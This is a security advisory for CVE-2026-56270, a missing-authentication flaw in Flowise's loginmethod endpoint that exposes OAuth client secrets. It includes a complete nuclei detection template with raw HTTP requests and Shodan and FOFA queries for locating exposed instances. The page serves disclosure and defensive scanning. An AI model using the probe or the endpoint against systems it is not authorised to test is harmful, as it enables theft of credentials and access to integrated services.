Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure

highseverity

7.5CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.

Impact

Remote attackers can harvest sensitive OAuth client secrets, leading to potential unauthorized access to integrated services.

Fix

Upgrade to version 3.1.0 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(tolower(body), "flowise")
Send: GET /api/v1/loginmethod?organizationId=test
Positive when: status_code != 401 and contains_any(body, "Invalid Organization Id", "assertEnterprisePlatform", "\"providers\"", "\"callbacks\"")

Run it with nuclei: nuclei -id CVE-2026-56270 -u <target>

The full check

id: CVE-2026-56270

info:
  name: Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure
  author: 0x_Akoko,pdteam
  severity: high
  description: |
    Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.
  impact: |
    Remote attackers can harvest sensitive OAuth client secrets, leading to potential unauthorized access to integrated services.
  remediation: |
    Upgrade to version 3.1.0 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-56270
    epss-score: 0.02048
    epss-percentile: 0.81378
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,unauth,disclosure,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "flowise")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/loginmethod?organizationId=test HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code != 401'
          - 'contains_any(body, "Invalid Organization Id", "assertEnterprisePlatform", "\"providers\"", "\"callbacks\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from